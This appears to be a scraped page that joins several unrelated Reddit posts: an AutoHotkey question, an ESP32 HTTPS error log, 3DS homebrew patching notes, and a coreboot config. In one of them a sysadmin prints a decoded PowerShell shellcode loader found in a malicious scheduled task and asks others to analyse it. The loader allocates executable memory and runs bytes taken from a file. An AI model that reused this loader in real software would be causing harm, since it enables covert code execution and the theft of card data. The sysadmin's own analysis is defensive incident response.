binary - Why is the default value 0x1000 instead of 0x200 ...

Any wildcard modifier (similar to *) that passes along Ctrl, Alt, Shift modifiers?

I would like to, say, let Win+Z perform a left click, with the Ctrl, Shift, Alt modifiers passed along. Therefore Win+Ctrl+Z would perform Ctrl+click, etc.
I tried the * modifier. It only triggers the hotkey with the modifier, but not passing them along with the left click. So I'm currently using a whole chunk of code:
#z::Send {LButton} ^#z::Send ^{LButton} !#z::Send !{LButton} +#z::Send +{LButton} ^!#z::Send ^!{LButton} ^+#z::Send ^+{LButton} !+#z::Send !+{LButton} ^!+#z::Send ^!+{LButton}
This is getting verbose and tedious as I further wire Win+X as right click, and many more. I briefly researched on Google but didn't see exact relevant materials. Is there a cleaner way for my usage? Thanks in advance.
Edit:
Just tried to write a reusable helper like this
```autohotkey ; passModifiers flags: ; 0x1000: pass along Ctrl ; 0x0100: pass along Alt ; 0x0010: pass along Shift ; 0x0001: pass along LWin or RWin passAlongModifiers(keys, passModifiers:=0x1111) { modifiers := "" if (passModifiers & 0x1000) && GetKeyState("Ctrl", "P") { modifiers .= "" } if (passModifiers & 0x0100) && GetKeyState("Alt", "P") { modifiers .= "!" } if (passModifiers & 0x0010) && GetKeyState("Shift", "P") { modifiers .= "+" } if (passModifiers & 0x0001) && (GetKeyState("LWin", "P") || GetKeyState("RWin", "P")) { modifiers .= "#" } Send, % modifiers . keys }
*#z::passAlongModifiers("{LButton}", 0x1110) ```
Used the old-school option flag pattern instead of 4 separate boolean parameters as AHK doesn't support calling myFunc(b:3) when the function signature is like myFunc(a:=1, b:=2) (?) Correct me if wrong. And used 0x instead of 0b because AHK doesn't support binary literals.
Apart from the minor notes, it seems to work as I intended. Any better way still?
submitted by 9xpe5i to AutoHotkey [link] [comments]

Malicious Scheduled Task?

Found a scheduled task on a server of a new client that is running powershell.exe with a "-e" option followed by a base64 encoded command. Decoded the base64 command and it is below. I'm not great with obfuscated code; anyone able to decipher what this is trying to do? The scheduled task is set to run as SYSTEM every 6 hours and this is a server that one of their software vendors does have local admin rights to, so not sure if this is a maintenance script or something malicious (my gut tells me that a maintenance script wouldn't need to be hidden behind base64, but trying to be an optimist).
Decoded base64:
$code = '[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr dest, uint src, uint count);'; $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru; [Byte[]]$sc = [IO.File]::ReadAllBytes('C:\Windows\ccv_server.txt'); $size = $sc.Length; $x=$winFunc::VirtualAlloc(0,$size,0x1000,0x40); for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset(($x.ToInt64()+$i), $sc[$i], 1)}; $h=$winFunc::CreateThread(0,0,$x,$x,0,0); Start-Sleep -Seconds 2147400; Start-Sleep -Seconds 2147400; Start-Sleep -Seconds 2147400; Start-Sleep -Seconds 2147400;
Edit 1: Looks like it's leveraging this: https://github.com/trustedsec/social-engineer-toolkit/blob/mastesrc/powershell/shellcode_injection.powershell
Edit 2: Found that "ccv_server.exe" is an executable for software run by a merchant account this client uses. The ccv_server.txt file is 7KB of binary data that is being injected via the Powershell command run by the scheduled task. If anyone knows how to decipher what is in the 7KB file I'd appreciate any insight. Sounds like this was targeted code injection trying to scrape credit card numbers out of memory. Calling the merchant company in the morning (they are closed until 9am EST).
submitted by wdomon to sysadmin [link] [comments]

Help with an error making an https request with c++

I'm attempting to do an HTTPS PUT from C++ on an ESP-EYE. I started with the C esp_https_example code and had that working with the same PEM and URL. I started to transition to using this from C++ as part of a project that is primarily written in C++. My call looks like:
```cpp static const char *URL = "https://signal.unexpectedeof.casa/on-air";
void https_with_url(void) { esp_http_client_config_t* config = (esp_http_client_config_t*)calloc(sizeof(esp_http_client_config_t), 1); config->url = URL; config->cert_pem = unexpectedeof_casa_root_cert_pem_start; config->event_handler = _http_event_handler;
esp_http_client_handle_t client = esp_http_client_init(config); esp_http_client_set_method(client, HTTP_METHOD_PUT); esp_err_t err = esp_http_client_perform(client); if (err == ESP_OK) { ESP_LOGI(TAG, "HTTPS Status = %d, content_length = %d", esp_http_client_get_status_code(client), esp_http_client_get_content_length(client)); } else { ESP_LOGE(TAG, "Error perform http request %s", esp_err_to_name(err)); } esp_http_client_close(client); esp_http_client_cleanup(client); 
} ```
I believe the URL I'm providing isn't being copied or initialized correctly resulting in a url parsing error. When the function https_with_url is called I get this error:
text E (13593) esp-tls: couldn't get hostname for :signal.unexpectedeof.casa: E (13593) esp-tls: Failed to open new connection E (13603) TRANS_SSL: Failed to open a new connection E (13603) HTTP_CLIENT: Connection failed, sock < 0 E (13613) HTTPS_HANDLING: Error perform http request ESP_ERR_HTTP_CONNECT I (13623) HTTPS_HANDLING: HTTP_EVENT_DISCONNECTED I (13623) HTTPS_HANDLING: HTTP_EVENT_DISCONNECTED
This is the full output from flash and monitor: ```text (38) tron:smalltalk n0mn0m$ idf.py --port /dev/cu.SLABUSBtoUART flash monitor Adding "flash"'s dependency "all" to list of commands with default set of options. Executing action: all (aliases: build) Running ninja in directory /Users/n0mn0m/projects/on-aivoice-assistant/smalltalk/build Executing "ninja all"... [1/3] Performing build step for 'bootloader' ninja: no work to do. Executing action: flash Running esptool.py in directory /Users/n0mn0m/projects/on-aivoice-assistant/smalltalk/build Executing "/Users/n0mn0m/.espressif/python_env/idf4.1_py3.8_env/bin/python /Users/n0mn0m/projects/esp-idf/components/esptool_py/esptool/esptool.py -p /dev/cu.SLAB_USBtoUART -b 460800 --before default_reset --after hard_reset --chip esp32 write_flash @flash_project_args"... esptool.py -p /dev/cu.SLAB_USBtoUART -b 460800 --before default_reset --after hard_reset --chip esp32 write_flash --flash_mode dio --flash_freq 80m --flash_size 2MB 0x8000 partition_table/partition-table.bin 0x1000 bootloadebootloader.bin 0x10000 smalltalk.bin esptool.py v2.9-dev Serial port /dev/cu.SLAB_USBtoUART Connecting........_ Chip is ESP32D0WDQ5 (revision 1) Features: WiFi, BT, Dual Core, 240MHz, VRef calibration in efuse, Coding Scheme None Crystal is 40MHz MAC: bc:dd:c2:d0:23:4c Uploading stub... Running stub... Stub running... Changing baud rate to 460800 Changed. Configuring flash size... Compressed 3072 bytes to 103... Wrote 3072 bytes (103 compressed) at 0x00008000 in 0.0 seconds (effective 2319.8 kbit/s)... Hash of data verified. Compressed 25776 bytes to 15970... Wrote 25776 bytes (15970 compressed) at 0x00001000 in 0.4 seconds (effective 562.7 kbit/s)... Hash of data verified. Compressed 950960 bytes to 601726... Wrote 950960 bytes (601726 compressed) at 0x00010000 in 14.0 seconds (effective 545.1 kbit/s)... Hash of data verified.
Leaving... Hard resetting via RTS pin... Executing action: monitor Running idf_monitor in directory /Users/n0mn0m/projects/on-aivoice-assistant/smalltalk Executing "/Users/n0mn0m/.espressif/python_env/idf4.1_py3.8_env/bin/python /Users/n0mn0m/projects/esp-idf/tools/idf_monitor.py -p /dev/cu.SLAB_USBtoUART -b 115200 --toolchain-prefix xtensa-esp32-elf- /Users/n0mn0m/projects/on-aivoice-assistant/smalltalk/build/smalltalk.elf -m '/Users/n0mn0m/.espressif/python_env/idf4.1_py3.8_env/bin/python' '/Users/n0mn0m/projects/esp-idf/tools/idf.py' '--port' '/dev/cu.SLAB_USBtoUART'"... --- idf_monitor on /dev/cu.SLAB_USBtoUART 115200 --- --- Quit: Ctrl+] | Menu: Ctrl+T | Help: Ctrl+T followed by Ctrl+H --- ets Jun 8 2016 00:22:57
rst:0x1 (POWERON_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT) configsip: 0, SPIWP:0xee clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00 mode:DIO, clock div:1 load:0x3fff0030,len:4 load:0x3fff0034,len:7348 load:0x40078000,len:13764 ho 0 tail 12 room 4 load:0x40080400,len:4568 0x40080400: _init at ??:?
entry 0x400806a4 I (31) boot: ESP-IDF v4.1-beta1-63-g9f024df9e 2nd stage bootloader I (31) boot: compile time 19:31:39 I (31) boot: chip revision: 1 I (35) boot_comm: chip revision: 1, min. bootloader chip revision: 0 I (42) qio_mode: Enabling default flash chip QIO I (47) boot.esp32: SPI Speed : 80MHz I (52) boot.esp32: SPI Mode : QIO I (57) boot.esp32: SPI Flash Size : 2MB I (61) boot: Enabling RNG early entropy source... I (67) boot: Partition Table: I (70) boot: ## Label Usage Type ST Offset Length I (77) boot: 0 nvs WiFi data 01 02 00009000 00006000 I (85) boot: 1 phy_init RF data 01 01 0000f000 00001000 I (92) boot: 2 factory factory app 00 00 00010000 00100000 I (100) boot: End of partition table I (104) boot_comm: chip revision: 1, min. application chip revision: 0 I (111) esp_image: segment 0: paddr=0x00010020 vaddr=0x3f400020 size=0x289f8 (166392) map I (169) esp_image: segment 1: paddr=0x00038a20 vaddr=0x3ffb0000 size=0x03914 ( 14612) load I (174) esp_image: segment 2: paddr=0x0003c33c vaddr=0x40080000 size=0x00404 ( 1028) load 0x40080000: _WindowOverflow4 at /Users/n0mn0m/projects/esp-idf/components/freertos/xtensa_vectors.S:1778
I (176) esp_image: segment 3: paddr=0x0003c748 vaddr=0x40080404 size=0x038d0 ( 14544) load I (190) esp_image: segment 4: paddr=0x00040020 vaddr=0x400d0020 size=0xa6224 (680484) map 0x400d0020: _stext at ??:?
I (394) esp_image: segment 5: paddr=0x000e624c vaddr=0x40083cd4 size=0x12040 ( 73792) load 0x40083cd4: bootloader_flash_gpio_config at /Users/n0mn0m/projects/esp-idf/components/bootloader_support/src/bootloader_flash_config_esp32.c:86
I (432) boot: Loaded app from partition at offset 0x10000 I (432) boot: Disabling RNG early entropy source... I (432) cpu_start: Pro cpu up. I (436) cpu_start: Application information: I (441) cpu_start: Project name: smalltalk I (446) cpu_start: App version: cbf78b2-dirty I (451) cpu_start: Compile time: Mar 28 2020 19:31:31 I (458) cpu_start: ELF file SHA256: 0049965a7b4339c3... I (464) cpu_start: ESP-IDF: v4.1-beta1-63-g9f024df9e I (470) cpu_start: Starting app cpu, entry point is 0x4008127c 0x4008127c: call_start_cpu1 at /Users/n0mn0m/projects/esp-idf/components/esp32/cpu_start.c:275
I (0) cpu_start: App cpu up. I (480) heap_init: Initializing. RAM available for dynamic allocation: I (487) heap_init: At 3FFAE6E0 len 00001920 (6 KiB): DRAM I (493) heap_init: At 3FFBD6B8 len 00022948 (138 KiB): DRAM I (500) heap_init: At 3FFE0440 len 00003AE0 (14 KiB): D/IRAM I (506) heap_init: At 3FFE4350 len 0001BCB0 (111 KiB): D/IRAM I (512) heap_init: At 40095D14 len 0000A2EC (40 KiB): IRAM I (518) cpu_start: Pro cpu start user code I (536) spi_flash: detected chip: generic I (536) spi_flash: flash io: qio W (536) spi_flash: Detected size(4096k) larger than the size in the binary image header(2048k). Using the size in the binary image header. I (547) cpu_start: Starting scheduler on PRO CPU. I (0) cpu_start: Starting scheduler on APP CPU. I (673) wifi: wifi driver task: 3ffcad94, prio:23, stack:3584, core=0 I (673) system_api: Base MAC address is not set, read default base MAC address from BLK0 of EFUSE I (673) system_api: Base MAC address is not set, read default base MAC address from BLK0 of EFUSE I (703) wifi: wifi firmware version: 551ce8d I (703) wifi: config NVS flash: enabled I (703) wifi: config nano formating: disabled I (703) wifi: Init dynamic tx buffer num: 32 I (703) wifi: Init data frame dynamic rx buffer num: 32 I (713) wifi: Init management frame dynamic rx buffer num: 32 I (713) wifi: Init management short buffer num: 32 I (723) wifi: Init static rx buffer size: 1600 I (723) wifi: Init static rx buffer num: 10 I (733) wifi: Init dynamic rx buffer num: 32 I (823) phy: phy_version: 4180, cb3948e, Sep 12 2019, 16:39:13, 0, 0 I (823) wifi: mode : sta (bc:dd:c2:d0:23:4c) I (863) I2S: DMA Malloc info, datalen=blocksize=600, dma_buf_count=3 I (863) I2S: DMA Malloc info, datalen=blocksize=600, dma_buf_count=3 I (873) I2S: PLL_D2: Req RATE: 16000, real rate: 16025.000, BITS: 16, CLKM: 39, BCK: 8, MCLK: 4096000.000, SCLK: 512800.000000, diva: 64, divb: 4 I (943) wifi: new:<1,0>, old:<1,0>, ap:<255,255>, sta:<1,0>, prof:1 I (943) wifi: state: init -> auth (b0) I (953) wifi: state: auth -> assoc (0) I (953) wifi: state: assoc -> run (10) I (963) wifi: connected with Hallow, aid = 1, channel 1, BW20, bssid = 18:e8:29:c4:90:55 I (963) wifi: security type: 3, phy: bgn, rssi: -41 I (973) wifi: pm start, type: 1
I (983) wifi: AP's beacon interval = 102400 us, DTIM period = 2 I (993) TF_LITE_AUDIO_PROVIDER: Audio Recording started Waking up Waking up E (13593) esp-tls: couldn't get hostname for :signal.unexpectedeof.casa: E (13593) esp-tls: Failed to open new connection E (13603) TRANS_SSL: Failed to open a new connection E (13603) HTTP_CLIENT: Connection failed, sock < 0 E (13613) HTTPS_HANDLING: Error perform http request ESP_ERR_HTTP_CONNECT I (13623) HTTPS_HANDLING: HTTP_EVENT_DISCONNECTED I (13623) HTTPS_HANDLING: HTTP_EVENT_DISCONNECTED E (14013) esp-tls: couldn't get hostname for :signal.unexpectedeof.casa: E (14013) esp-tls: Failed to open new connection E (14013) TRANS_SSL: Failed to open a new connection E (14013) HTTP_CLIENT: Connection failed, sock < 0 E (14023) HTTPS_HANDLING: Error perform http request ESP_ERR_HTTP_CONNECT I (14033) HTTPS_HANDLING: HTTP_EVENT_DISCONNECTED I (14033) HTTPS_HANDLING: HTTP_EVENT_DISCONNECTED E (14913) esp-tls: couldn't get hostname for :signal.unexpectedeof.casa: E (14913) esp-tls: Failed to open new connection E (14913) TRANS_SSL: Failed to open a new connection E (14923) HTTP_CLIENT: Connection failed, sock < 0 E (14923) HTTPS_HANDLING: Error perform http request ESP_ERR_HTTP_CONNECT I (14933) HTTPS_HANDLING: HTTP_EVENT_DISCONNECTED I (14933) HTTPS_HANDLING: HTTP_EVENT_DISCONNECTED E (15213) esp-tls: couldn't get hostname for :signal.unexpectedeof.casa: E (15213) esp-tls: Failed to open new connection E (15213) TRANS_SSL: Failed to open a new connection E (15223) HTTP_CLIENT: Connection failed, sock < 0 E (15223) HTTPS_HANDLING: Error perform http request ESP_ERR_HTTP_CONNECT I (15233) HTTPS_HANDLING: HTTP_EVENT_DISCONNECTED I (15233) HTTPS_HANDLING: HTTP_EVENT_DISCONNECTED E (15513) esp-tls: couldn't get hostname for :signal.unexpectedeof.casa: E (15513) esp-tls: Failed to open new connection E (15513) TRANS_SSL: Failed to open a new connection E (15513) HTTP_CLIENT: Connection failed, sock < 0 E (15523) HTTPS_HANDLING: Error perform http request ESP_ERR_HTTP_CONNECT I (15533) HTTPS_HANDLING: HTTP_EVENT_DISCONNECTED I (15533) HTTPS_HANDLING: HTTP_EVENT_DISCONNECTED ```
main init
http call
full build project
My current thinking is it's related to using C++ and the underlying parsing that's happening. The wifi is initialized and connected, the PEM and url work testing with the C example. Appreciate any help or ideas.
submitted by Tak_Locke to esp32 [link] [comments]

ROMFS files and Luma's Game Patching

Conclusion: If you're running Luma 8.0+, HANS can be made to work again by chainloading Luma 7.1 and launching a *hax exploit. More details at #3, the rest of these points cover the general findings of all the comments for this post.
  1. Loading HANS-style ROMFS binary files was never a promised feature of Luma 8.0, it was just something espoused by third-parties. In fact, they had taken out that feature already in 7.1.
  2. Luma 6.6 still allowed for ROMFS binary loading, therefore chainloading this version of Luma 6.6 and enabling game patching could allow certain games to play with these ROMFS bins. This is not recommended, as results are often unsuccessful and the reasons for their failings are unknown and won't be tested any further. Should you choose to try this out, note that HANS-style ROMFS binaries will not work unless you splice in the first 0x1000 bytes from the ROMFS of the actual game, as these are commonly taken out to make them work with HANS.
  3. Chainloading this version of Luma 7.1 allows non-Rosalina HBL, and therefore HANS, to be launched.
    1. Using ROMFS binary files through HANS removes slowdown and audio clipping for games that have problems with LayeredFS patching. This also circumvents issues that affect games with large file counts like Stella Glow, as now all the files that need to be patched are contained within a single binary. The current newest version of HANS also is able to load digital games that it could not in the past like Liberation Maiden, though this applies mostly to older titles that do not have 9.6 mmap encryption. Workarounds for 9.6 mmap encryption may exist but I'm unsure where or how. Also note that HANS will have issues for extended memory games.
    2. I am unaware of any other method at this time to access *hax HBL (and therefor HANS) rather than Rosalina HBL on Luma 8.0+ (which at this time explicitly blocks HANS). Any attempt I've made to launch *hax HBL from entrypoints like ninjhax and steelhax have resulted in this error. It should also be noted that chainloading Luma 6.6 to access *hax HBL can also work, but 7.1 is preferred as it solves issues of 6.6 and natively uses b9s. If a method is found to load *hax HBL while on Luma 8.0+, chainloading would be unnecessary.
  4. Loading modified CIA's of your legitimate copy of the game does not put you at risk of banning, so long as you don't use unofficial assets/etc in online play. This is a much more convincing argument for using CIA's to people like me who have shied away from using CIA for fear of banning. The common response I've gotten when asking this question was something along the lines of "CIA's are just a lot more convenient so don't even bother with old ROMFS" which 1) I was well aware of before, thank you 2) doesn't address the concerns of the person you're espousing this to. It is responses like this that prompted me to start this post in the first place rather than hit up the Questions Megathread again, as I hoped that people would take the issue more seriously. Needless to say, I'm satisfied with the results.
Thanks to u/yuukishiroko for the clarifications and especially thanks to u/jirachi_star for their coding work, their clear instructions, and general assistance! Should anyone need a guide on how to make ROMFS binaries for HANS, let me know and I'll make one as the only guides I could find were outdated and/or inefficient. Older version of this post is contained down below.
Myself and a friend have had issues with certain games when using LayeredFS patches with certain titles like undubs for Liberation Maiden and Fire Emblem: Echoes, as we have encountered slowdown or audio gaps when the game has to load each line of dialogue which is fairly frequently. Having played Persona Q with an undub LayeredFS patch and not run into any audio skips and seeing that game's file structure being compressed into a single file, we've come to the conclusion that the 2DS has an easier time loading one large file permanently rather than having to fetch smaller files multiple times. We've wanted to test this by using the single ROMFS files that we used back when we were using HANS instead of CFW, using these single files instead of standard LayeredFS model of only including the files to be replaced within a ROMFS folder. Being able to load these HANS-compatible ROMFS was a feature that was supposed to be included with Luma's major update to 8.0 but we never got it to work. It should be noted Game Patching works fine with the LayeredFS model for us, just not with these ROMFS. Here is what has been attempted:
A romfs with its first 0x1000 bytes removed as per HANS named simply as romfs with no extention placed as SD:/luma/titles/\titleID]/romfs)
A romfs with its first 0x1000 bytes intact placed as SD:/luma/titles/\titleID]/romfs)
Neither of these methods worked which is unfortunate considering when we made the jump to CFW a year ago that we would still have this option. Now with Rosalina and Luma and its updates to HBL, we can't even test how these undubs would perform in HANS. We would like to know how to use old HANS-style ROMFS with Luma, or else to know if this was even an actually intended and implemented function of Luma in the first place.
I would like to end this post with a few notes to address common responses to this question:
**Yes, I understand that ROMFS files are very inefficient in terms of file space compared to LayeredFS\*. The goal isn't to run all game patches through a ROMFS file, just the ones that give us problems like Liberation Maiden and Fire Emblem: Echoes. Slowdown problems don't seem restricted just to these two games mind yo)u, as others have reported issues with Binding of Isaac. I'll still gladly use LayeredFS for games I haven't noticed problems with.
I could easily just install modified .cia's of this game that have these patches already applied, but I would rather avoid the additional risk of being banned by Nintendo if I can help it. No need to inform people about the capabilities of CFW of which we are all perfectly aware.
submitted by JoolTheif to 3dshacks [link] [comments]

GA-G41M-ES2L: does CONFIG_POWER_STATE_ON_AFTER_FAILURE=y work for anyone?

CONFIG_POWER_STATE_ON_AFTER_FAILURE=y means it should go to S0 Full On, right? Mine stays off after power restore, regardless of whether it was on or off when the power cut out. Does this functionality depend on the CPU or PSU? Mine sports the E5450 Xeon (works great).
I'm on 4.10 and this is my config, with commented lines omitted: CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y CONFIG_COMPRESS_RAMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_RELOCATABLE_RAMSTAGE=y CONFIG_CACHE_RELOCATED_RAMSTAGE_OUTSIDE_CBMEM=y CONFIG_VENDOR_GIGABYTE=y CONFIG_BOARD_SPECIFIC_OPTIONS=y CONFIG_MAINBOARD_DIR="gigabyte/ga-g41m-es2l" CONFIG_MAINBOARD_PART_NUMBER="GA-G41M-ES2L" CONFIG_MAX_CPUS=4 CONFIG_CBFS_SIZE=0x100000 CONFIG_UART_FOR_CONSOLE=0 CONFIG_PAYLOAD_CONFIGFILE="" CONFIG_MAINBOARD_VENDOR="GIGABYTE" CONFIG_VGA_BIOS_ID="8086,2e32" CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_DIMM_SPD_SIZE=256 CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" CONFIG_C_ENV_BOOTBLOCK_SIZE=0x10000 CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="GIGABYTE" CONFIG_DEVICETREE="devicetree.cb" CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 CONFIG_DCACHE_RAM_BASE=0xfeffc000 CONFIG_DCACHE_RAM_SIZE=0x4000 CONFIG_MAX_REBOOT_CNT=3 CONFIG_OVERRIDE_DEVICETREE="" CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_FMDFILE="" CONFIG_MMCONF_BASE_ADDRESS=0xe0000000 CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y CONFIG_DRIVERS_UART_8250IO=y CONFIG_BOARD_GIGABYTE_GA_G41M_ES2L=y CONFIG_DIMM_MAX=4 CONFIG_TTYS0_LCS=3 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="GA-G41M-ES2L" CONFIG_CPU_ADDR_BITS=36 CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 CONFIG_MAINBOARD_VERSION="1.0" CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_PCIEXP_L1_SUB_STATE=y CONFIG_SMBIOS_ENCLOSURE_TYPE=0x03 CONFIG_HEAP_SIZE=0x4000 CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 CONFIG_BOARD_ROMSIZE_KB_1024=y CONFIG_COREBOOT_ROMSIZE_KB_1024=y CONFIG_COREBOOT_ROMSIZE_KB=1024 CONFIG_ROM_SIZE=0x100000 CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y CONFIG_POWER_STATE_ON_AFTER_FAILURE=y CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 CONFIG_EHCI_BAR=0xfef00000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 CONFIG_ACPI_CPU_STRING="\\_PR.CP%02d" CONFIG_ARCH_ARMV8_EXTENSION=0 CONFIG_STACK_SIZE=0x1000 CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y CONFIG_ROMSTAGE_ADDR=0x2000000 CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_CLK_PM=y CONFIG_TTYS0_BASE=0x3f8 CONFIG_CONSOLE_CBMEM=y CONFIG_UART_PCI_ADDR=0x0 CONFIG_INTEL_HAS_TOP_SWAP=y CONFIG_INTEL_TOP_SWAP_BOOTBLOCK_SIZE=0x10000 CONFIG_XIP_ROM_SIZE=0x10000 CONFIG_NUM_IPI_STARTS=2 CONFIG_CPU_INTEL_MODEL_6FX=y CONFIG_CPU_INTEL_MODEL_1067X=y CONFIG_CPU_INTEL_MODEL_F3X=y CONFIG_CPU_INTEL_MODEL_F4X=y CONFIG_SOCKET_SPECIFIC_OPTIONS=y CONFIG_SSE2=y CONFIG_CPU_INTEL_SOCKET_LGA775=y CONFIG_CPU_INTEL_COMMON=y CONFIG_SET_IA32_FC_LOCK_BIT=y CONFIG_PARALLEL_MP=y CONFIG_UDELAY_LAPIC=y CONFIG_LAPIC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y CONFIG_SMM_MODULE_HEAP_SIZE=0x4000 CONFIG_SMM_STUB_STACK_SIZE=0x400 CONFIG_CACHE_AS_RAM=y CONFIG_NO_CAR_GLOBAL_MIGRATION=y CONFIG_SMP=y CONFIG_MMX=y CONFIG_SSE=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y CONFIG_CPU_UCODE_BINARIES="../../DP35DP/ncpucode10676.bin" CONFIG_BOOTBLOCK_NORTHBRIDGE_INIT="northbridge/intel/x4x/bootblock.c" CONFIG_NORTHBRIDGE_SPECIFIC_OPTIONS=y CONFIG_NORTHBRIDGE_INTEL_X4X=y CONFIG_BOOTBLOCK_SOUTHBRIDGE_INIT="southbridge/intel/i82801gx/bootblock.c" CONFIG_HPET_MIN_TICKS=0x80 CONFIG_SOUTHBRIDGE_INTEL_COMMON=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y CONFIG_SOUTHBRIDGE_INTEL_I82801GX=y CONFIG_SUPERIO_ITE_COMMON_PRE_RAM=y CONFIG_SUPERIO_ITE_ENV_CTRL=y CONFIG_SUPERIO_ITE_ENV_CTRL_FAN16_CONFIG=y CONFIG_SUPERIO_ITE_ENV_CTRL_PWM_FREQ2=y CONFIG_SUPERIO_ITE_IT8718F=y CONFIG_EC_BASE_ACPI_DATA=0x930 CONFIG_EC_BASE_ACPI_COMMAND=0x934 CONFIG_EC_BASE_HOST_DATA=0x940 CONFIG_EC_BASE_HOST_COMMAND=0x944 CONFIG_EC_BASE_PACKET=0x950 CONFIG_SEABIOS_PS2_TIMEOUT=0 CONFIG_UDK_2013_VERSION=2013 CONFIG_UDK_2015_VERSION=2015 CONFIG_UDK_2017_VERSION=2017 CONFIG_UDK_VERSION=2013 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_AP_IN_SIPI_WAIT=y CONFIG_SIPI_VECTOR_IN_ROM=y CONFIG_RAMBASE=0xe00000 CONFIG_RAMTOP=0x1000000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_IOAPIC_INTERRUPTS_ON_FSB=y CONFIG_HPET_ADDRESS=0xfed00000 CONFIG_ID_SECTION_OFFSET=0x80 CONFIG_POSTCAR_STAGE=y CONFIG_BOOTBLOCK_SIMPLE=y CONFIG_BOOTBLOCK_SOURCE="bootblock_simple.c" CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y CONFIG_HAVE_LINEAR_FRAMEBUFFER=y CONFIG_MAINBOARD_HAS_LIBGFXINIT=y CONFIG_MAINBOARD_USE_LIBGFXINIT=y CONFIG_VGA_TEXT_FRAMEBUFFER=y CONFIG_PCI=y CONFIG_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y CONFIG_CACHE_MRC_SETTINGS=y CONFIG_REALTEK_8168_RESET=y CONFIG_REALTEK_8168_MACADDRESS="de:ad:be:ef:04:20" CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y CONFIG_SPI_FLASH_STMICRO=y CONFIG_DRIVERS_UART=y CONFIG_HAVE_USBDEBUG=y CONFIG_INTEL_GMA_ACPI=y CONFIG_GFX_GMA=y CONFIG_GFX_GMA_INTERNAL_IS_EDP=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="G45" CONFIG_GFX_GMA_INTERNAL_PORT="DP" CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" CONFIG_DRIVERS_MC146818=y CONFIG_VGA=y 